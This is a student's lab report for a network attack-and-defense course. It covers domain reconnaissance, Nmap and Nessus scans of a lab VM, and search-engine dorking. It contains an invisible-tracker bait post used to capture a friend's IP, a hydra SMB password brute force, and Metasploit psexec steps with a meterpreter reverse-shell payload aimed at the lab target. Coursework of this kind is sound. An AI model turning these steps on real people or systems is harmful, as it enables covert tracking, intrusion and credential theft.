20232402 2025-2026-1 《网络与系统攻防技术》实验五实验报告

20232402 2025-2026-1 《网络与系统攻防技术》实验五实验报告

1.实验内容

1.1 域名与IP信息查询

用whois、dig、nslookup、traceroute/tracert及在线工具查询baidu.com,获取DNS注册人及联系方式,域名对应IP地址,IP注册人、联系方式及所属国家/城市/具体位置。

1.2 好友IP与地理位置获取

获取论坛/QQ好友IP,查询其具体地理位置。

1.3 Nmap靶机扫描

用Nmap判断靶机IP是否活跃,探测开放的TCP/UDP端口,识别靶机操作系统及版本,查靶机安装的服务。

1.4 Nessus靶机安全扫描

用Nessus获取靶机开放端口,检测各端口服务存在的安全漏洞,提出攻陷靶机以获取系统访问权的思路。

1.5 个人信息搜索与Google Hack练习

用搜索引擎查个人网络足迹,确认隐私泄露情况;掌握至少10种Google Hack搜索方法并实践。

2.实验过程

2.1 域名信息查询(以baidu.com为例)

2.1.1 使用WHOIS查询DNS注册人及联系方式

WHOIS 协议用于查询域名的注册信息。
在Kali中,输入whois baidu.com
image
根据结果可以分析出注册机构为北京百度网讯科技有限公司,联系渠道为 MarkMonitor 的 Web 表单(https://domains.markmonitor.com/whois/contact/baidu.com)
或邮件(whoisrequest@markmonitor.com)申请
image
注册商的滥用投诉邮箱为abusecomplaints@markmonitor.com,电话为+1.2086851750。

2.1.2 使用dig和nslookup查询域名对应IP地址

dig和nslookup均为DNS解析工具,dig可显示更详细的DNS记录,nslookup操作更简洁。
(1)dig工具查询:
Kali中输入dig baidu.com A(A记录用于查询域名对应的IPv4地址),输出结果中“ANSWER SECTION”下的IP地址即为目标IP。
image
因为百度采用了多 IP 的集群架构,通过多个不同的 IP 地址来负载均衡用户的访问请求,提升服务的稳定性和响应速度,所以dig工具会解析出多个IPv4 地址记录,这些 IP 都属于百度的服务器集群,共同提供百度的域名解析和服务访问。

(2)nslookup工具查询:
Kali中输入nslookup baidu.com,输出的“Address”字段即为域名对应的IP地址。
image

2.1.3 使用traceroute/tracert追踪路由

在kali中输入traceroute baidu.com,功能与tracert一致。底层协议略有差异,tracert用ICMP,traceroute默认用UDP。
image
本地网关通信正常,说明设备与本地网络的连接无问题。后续节点大量出现* * *,表明这些中间网络节点因防火墙拦截、设备策略或网络延迟等原因,未对traceroute探测包做出响应,但这并不代表网络不通,只是无法获取这些中间节点的路由信息,最终仍能成功连接到百度服务器。

2.1.4 查询IP地址注册人、联系方式及地理位置(使用在线工具)

在线IP数据库整合了IP分配机构、地理信息等数据,可快速查询IP的归属信息,补充命令行工具无法直接获取的地理细节。
用IP138(https://www.ip138.com/)
输入 2.1.2 中获取的IP地址。
image
从结果中看出ip位于中国河北省保定市,由中国电信运营。

2.2 获取好友IP及地理位置

2.2.1 论坛(以博客园为例)

(1)获取追踪代码
访问 StatCounter 官网并注册/登录账号(https://statcounter.com/free-invisible-web-tracker/)
创建一个新项目。在项目配置中,“Project URL” 填写博客园主页地址或其他任意URL;“Project Title” 自定义;在 “Would you like a counter or a button?” 选项中,选择 “Invisible Tracking”。
image
创建项目后,进入代码安装页面。在提供的代码中,其 src 属性值即为追踪图片链接,格式为:https://c.statcounter.com/[你的项目ID]/0/[你的安全码]/1/。
复制此链接。
image

(2)部署诱饵随笔
进入“我的博客” -> “管理” -> “写随笔”。撰写一篇具有吸引力的博文标题和内容(这里为了防止诱饵软件传播就命名为诱饵随笔了)。将第一步中复制的 StatCounter 追踪图片链接粘贴进去,完成插入。发布该篇博文。
image

(3)诱导访问与数据捕获
将已发布的博文链接发送给目标好友,使用合理的理由诱导其点击链接并访问。
image
(这里发给了我自己的另一个号)

登录 StatCounter 后台,进入项目。定位到产生的访问记录,并从中找到其 “IP Address”。
image
最上面这个ip就是我刚刚点开的手机(天我好厉害哦)

2.2.1 QQ

QQ采用P2P通信与服务器中转结合的方式,用电脑给另一个QQ号发送文件,此时双方可能绕过服务器直接通信,从而建立短暂的P2P连接。
使用Wireshark抓包,在抓包过滤栏输入(tcp.port >= 10000) and (tcp.flags.syn==1 and tcp.flags.ack==0)这个过滤器专门寻找在高端口上发起的TCP三次握手的第一包(SYN)。在发起文件传输后出现的、符合此条件的新连接,极有可能就是目标。
image
image
结果中可以看到两股SYN洪流,第一股洪流(116.130.220.28:8081)出现在时间点 27.81s 到 29.01s 之间,在短短约1.2秒内,从主机(192.168.3.164)向该IP的8081端口连续发起了 3个SYN包。
第二股、更猛烈的洪流(125.36.181.195:8081)从时间点 34.09s 开始,持续了相当长的时间。主机向该IP的8081端口发起了数十个SYN包。同一目标IP和端口,短时间内大量新连接请求是P2P多线程下载或文件分块传输的典型特征。
且这两个可疑IP使用的都是 8081 端口。8081端口不是一个常见的网页端口(80/443),但常被用于各种代理服务、内部应用以及一些P2P服务的数据传输。所以我们初步确定这两个ip就是QQ文件传输的ip。
image
image
可我发现这两个IP都在天津,但手机在北京,说明QQ文件传输没有成功建立点对点直连,而是使用了腾讯的中继服务器进行转发。

2.3 使用nmap扫描靶机

image
靶机ip为192.168.43.108

2.3.1 检测靶机IP是否活跃

在Kali终端输入nmap -sn 192.168.43.108

-sn参数表示仅进行主机发现(不扫描端口),通过发送ICMP echo请求、TCP SYN/ACK包等方式检测目标是否在线,避免因端口扫描触发靶机防御机制。

image
输出“Host is up (0.001s latency)”,说明靶机活跃。

2.3.2 扫描开放的TCP和UDP端口

  • TCP端口扫描:
    nmap -sS 192.168.43.108

SYN半开扫描,隐蔽性强,适合检测开放的TCP端口

输入命令后,nmap会向靶机各TCP端口发送SYN包,若收到SYN-ACK响应则判断端口开放,输出结果中“open”状态的端口即为开放的TCP端口。
image

  • UDP端口扫描:
    nmap -sU 192.168.43.108

UDP扫描,用于检测UDP端口

输入命令后,nmap向靶机UDP端口发送数据包,若收到响应则判断端口开放(UDP无握手过程,扫描速度较慢),结果中“open”状态的端口即为开放的UDP端口。
image

2.3.3 探测靶机操作系统及版本

nmap -O -sV 192.168.43.108

-O参数启用操作系统探测,-sV参数探测服务版本,两者结合可通过服务特征(如Windows的SMB服务版本)辅助确认操作系统信息,提高准确性。

输入命令后,nmap通过分析靶机的TCP/IP指纹(如TTL值、端口响应方式、服务banner等),结合内置数据库判断操作系统类型及版本。
2a8cd348070adbb996411b962e0d5cd9

2.3.4 检测靶机安装的服务

nmap -sV 192.168.43.108

服务版本信息是漏洞扫描的关键,-sV参数通过应用层探测,比仅通过端口号猜测服务更精准。
输入命令后,nmap会向开放端口发送特定探测包,根据返回的服务banner信息识别服务类型及版本。

6260904b4dcdaa92955858b4cc9e0868

2.4 使用Nessus扫描靶机(靶机IP:192.168.43.108)

2.4.1 前期准备

在Kali Linux中安装Nessus(官网下载对应版本,按提示完成安装和激活,更新插件库)。

下载链接https://www.tenable.com/downloads/nessus?loginAttempted=true
image

复制curl粘贴到kali里

curl --request GET \
  --url 'https://www.tenable.com/downloads/api/v2/pages/nessus/files/Nessus-10.10.1-debian10_amd64.deb' \
  --output 'Nessus-10.10.1-debian10_amd64.deb'

image

使用 dpkg 安装 Nessus 包
sudo dpkg -i Nessus-10.10.1-debian10_amd64.deb
image

执行sudo systemctl start nessusd启动服务,再执行sudo systemctl enable nessusd设置开机自启动。
image

在 Kali 中查看 IP 地址(ip addr命令),通过浏览器访问https://Kali的IP:8834,选择Nessus Scanner,点击Skip后选择Register Offline,复制生成的挑战码。
image

到离线注册页粘贴挑战码和激活码,下载插件包all-2.0.tar.gz,并上传到 Kali 的/root目录下。
执行命令sudo /opt/nessus/sbin/nessuscli update /root/all-2.0.tar.gz安装插件,完成后执行sudo systemctl restart nessusd重启服务。
image
image

首次访问时需创建登录账号(用户名和密码),之后 Nessus 会自动处理插件编译等后台操作,稍等片刻即可进入主界面,开始创建扫描任务进行漏洞扫描实验。
image

2.4.2 扫描靶机开放端口

Nessus通过多轮端口探测(包括全连接、半开扫描),可更全面地识别开放端口,尤其能绕过部分简单防火墙规则。

  • 在扫描任务设置中,“Name”填写任务名称(如“Target Scan”),“Targets”输入靶机IP(192.168.43.108),点击“Save”保存配置。
  • 启动扫描,等待扫描完成后,进入扫描结果页面,切换到“Ports/Hosts”标签,查看所有开放的TCP和UDP端口。该页面会列出靶机192.168.43.108所有开放的TCP/UDP 端口及对应服务。
    image

2.4.3 检测端口服务的安全漏洞

Nessus通过插件库匹配服务版本与已知漏洞库(如CVE数据库),可自动化识别漏洞,比手动比对更高效准确。
(1)扫描完成后,切换到“Vulnerabilities”标签,按风险等级(Critical/High/Medium/Low)排序查看漏洞。

(2)每个漏洞条目包含:端口号、服务名称、漏洞描述、风险等级、受影响版本及修复建议。
image
image
扫描任务为 “My Basic Network Scan”,属于基础网络漏洞扫描,已完成(状态 “Completed”),耗时 9 分钟。

(3)漏洞分布与风险等级:
多数漏洞为 “INFO”(信息级,属于系统信息探测,无直接风险);
存在 “Critical”(严重)等级的 “X.org X11 (Multiple Issues)”,以及 Low(低危)和 Mixed(混合风险)的漏洞,需重点关注严重等级漏洞的利用可能。

(4)关键漏洞与攻陷思路:
SMB、HTTP 等服务漏洞:若存在如永恒之蓝(MS17-010)类 SMB 漏洞,可通过 Metasploit 的ms17_010_eternalblue模块发起攻击,获取系统权限。

2.4 基于漏洞攻陷靶机

2.4.1 检测 SMB 服务是否存在 MS17-010(永恒之蓝)漏洞

在 Kali 的 Metasploit 中执行:

msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.43.108 
run
  • 若输出VULNERABLE,说明存在永恒之蓝漏洞;
  • 若显示NOT VULNERABLE,则进入2.4.2 尝试弱口令破解。

image
但从我的情况来看,执行 SMB 漏洞检测后既没有显示 “VULNERABLE”(存在漏洞),也没有显示 “NOT VULNERABLE”(不存在漏洞),而是出现了登录错误(如 “SMB Login Failed”),这说明漏洞检测因权限不足被阻断了(靶机 SMB 服务需要账号密码才能访问,导致无法判断是否存在 MS17-010 漏洞)。

这种情况下,2.4.2(弱口令破解)依然是当前最合理的选择,

  • 漏洞检测被卡壳的核心是 “缺少 SMB 账号密码”,破解弱口令能直接解决这个问题 —— 若能拿到账号密码,既可以重新检测漏洞,也能直接登录 SMB 服务。
  • 即使靶机不存在永恒之蓝漏洞,弱口令本身也是获取初始访问权限的有效途径(比如通过 SMB 登录后上传后门)。

2.4.2 暴力破解 SMB 账号密码(弱口令尝试)

使用hydra工具对 SMB 服务进行暴力破解:
hydra -l administrator -P /usr/share/wordlists/rockyou.txt smb://192.168.43.108

-l:指定用户名(默认尝试administrator);
-P:指定密码字典(rockyou.txt是 Kali 自带的常用弱口令字典)。

若破解成功,会显示[SUCCESS]及对应的账号密码。

image
(但是我没成功www,因为我发现我的虚拟机根本ping不通win,但是明明是可以通过mobaxterm远程连接的,这个问题已经横亘已久了)

2.4.3 利用漏洞 / 弱口令获取系统权限

若破解出 SMB 账号密码(如administrator:123456),可挂载 SMB 共享
smbclient //192.168.43.108/共享名 -U administrator%123456
进入后可上传后门程序。
远程执行命令使用Metasploit:

# Metasploit方式
use exploit/windows/smb/psexec
set RHOSTS 192.168.43.108
set SMBUser administrator
set SMBPass 123456
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.43.xxx
exploit

成功后获得 Meterpreter 会话。

2.5 个人网上足迹查询与Google Hack练习

2.5.1 个人网上足迹与隐私泄露查询

(1)浏览器本地足迹检查:

  • 打开常用浏览器(Chrome/Edge),按Ctrl+H查看浏览历史,确认是否有敏感网站访问记录。
    image
    没有哦
  • 检查浏览器保存的密码:进入“设置-密码”(Chrome),查看是否有未加密保存的账号密码。
    image
    image
    看来我有点懒qwq,有重用。但是都是密文保存。
  • 查看自动填充信息:进入“设置-自动填充”,确认是否保存敏感信息。
    image
    这个也有。

(2)搜索引擎检索:
在百度中输入自己的姓名、手机号、邮箱、常用昵称,查看搜索结果是否包含社交账号(微博、知乎)、论坛发言、旧版简历等。
image
均没搜到

(3)第三方平台核查:

2.5.2 Google Hack 10种搜索方法练习

Google Hack通过特殊语法精确控制搜索范围,可快速定位特定类型的信息,常用于信息收集、资源查找或网络安全领域的公开信息探测。
(1) 精确匹配(引号):

  • 语法:"关键词"(英文引号)
  • 示例:"北京电子科技学院 地址"
  • 作用:强制搜索引擎返回包含完整短语的结果,排除关键词拆分的无关页面。
    image

(2)限定网站(site):

  • 语法:关键词 site:域名
  • 示例:网络安全 site:edu.cn
  • 作用:仅搜索指定域名下的内容,如.edu.cn可筛选教育机构网页,提高结果相关性。
    image

(3)限定文件类型(filetype):

  • 语法:关键词 filetype:格式
  • 示例:北京电子科技学院 filetype:pdf
  • 作用:仅返回指定格式的文件(如pdf、doc),便于查找文档类资源。
    image

(4)标题包含关键词(intitle):

  • 语法:intitle:关键词
  • 示例:intitle:管理员登录
  • 作用:筛选标题中包含关键词的网页,常用于查找网站后台登录页(标题多含“登录”“admin”)。
    image

(5)正文包含关键词(intext):

  • 语法:intext:关键词
  • 示例:intext:用户密码重置
  • 作用:仅返回正文中包含关键词的页面,比普通搜索更精准定位内容。
    image

(6)排除关键词(-):

  • 语法:关键词 -排除词
  • 示例:苹果 -水果
  • 作用:排除包含“排除词”的结果,如搜索“苹果”时排除水果相关内容,专注于苹果公司信息。
    image
    (效果不太显著)

(7)URL包含关键词(inurl):

  • 语法:inurl:关键词
  • 示例:inurl:upload
  • 作用:筛选URL中包含关键词的页面,如“upload”可能对应文件上传功能页面。
    image

(8)缓存页面(cache):

  • 语法:cache:网址
  • 示例:cache:www.besti.edu.cn
  • 作用:查看搜索引擎保存的网页缓存版本,适用于原页面已删除或无法访问的情况。
    image

(9)指定数字范围(..):

  • 语法:关键词 数字1..数字2
  • 示例:笔记本电脑 3000..5000
  • 作用:限定数值范围,如价格、年份,快速筛选符合条件的结果。
    image

(10)多关键词并列(OR):
- 语法:关键词1 OR 关键词2(OR需大写)
- 示例:Linux OR Windows 防火墙配置
- 作用:返回包含关键词1或关键词2的结果,扩大搜索范围,适用于相关主题的并列查询。
image

3.问题及解决方案

  • 问题1:
    image
    image
  • 问题1解决方案:
    df -h 命令的输出可以看到,系统的根分区(/dev/sda1)已经完全占满,这正是导致 Nessus 插件更新失败的核心原因。在删了许多内容无果后,我打算为虚拟机增加磁盘大小。
    找到磁盘。
    image

工具选介质->选磁盘->拉到45G->点应用
image

结果是分盘工具都没空间下载了。故重建一个虚拟机。

4.学习感悟、思考等

真的要先看一眼实验再下载工具!我想着工具下载需要时间,就先去下载nusses再开始从头做实验,结果鼓捣了半天装在了windows上,做实验的时候意识到我打算用win为靶机、kali为攻击机,所以应该在kali上装nusses(不嘻嘻)。另外吐槽一下装nusses真的好麻烦,各种激活码、验证码,各种填信息、认证的,一不小心就搞错了。而且编译插件也要等好久。

虚拟机使用过程中磁盘分区被占满了,满到连分区软件都装不下了,无奈只好删掉冗余的python2.7,然后我的下载功能就坏掉了,原因是缺python的某个依赖。无奈只好重建一个虚拟机。下次建虚拟机的时候磁盘一定要设大一点qwq(多么痛的领悟~)。

还有就是X.org X11漏洞是 Linux/Unix 系统 X11 服务的缺陷,无法直接用于攻击 Windows 系统,可是它被win靶机扫出来了,我还傻乎乎的打算用这个漏洞展开攻击,做了以后发现不可行。

做实验总是遇到一些奇奇怪怪的问题,总的来说这次实验花费时间还是比较久的(整整一天半的样子),但是也收获了很多,我第一次用社会工程学“骗”到“别人”(bushi是自己小号)的ip,好有意思,也掌握了不少工具的使用。

还有!nusses这个软件太牛了!!!不枉我花这么大功夫下载它~光看界面就很是喜欢(#.#)它的扫描精准度更是让人惊喜,从普通端口服务到隐藏的高危漏洞,都能一一揪出。看到它生成的漏洞报告,条理清晰的风险等级划分、详细的漏洞描述和修复建议,感觉自己离成为网络安全小能手又近了一步~

参考资料

posted @ 2025-11-16 22:51  王艺瑶  阅读(16)  评论(0)    收藏  举报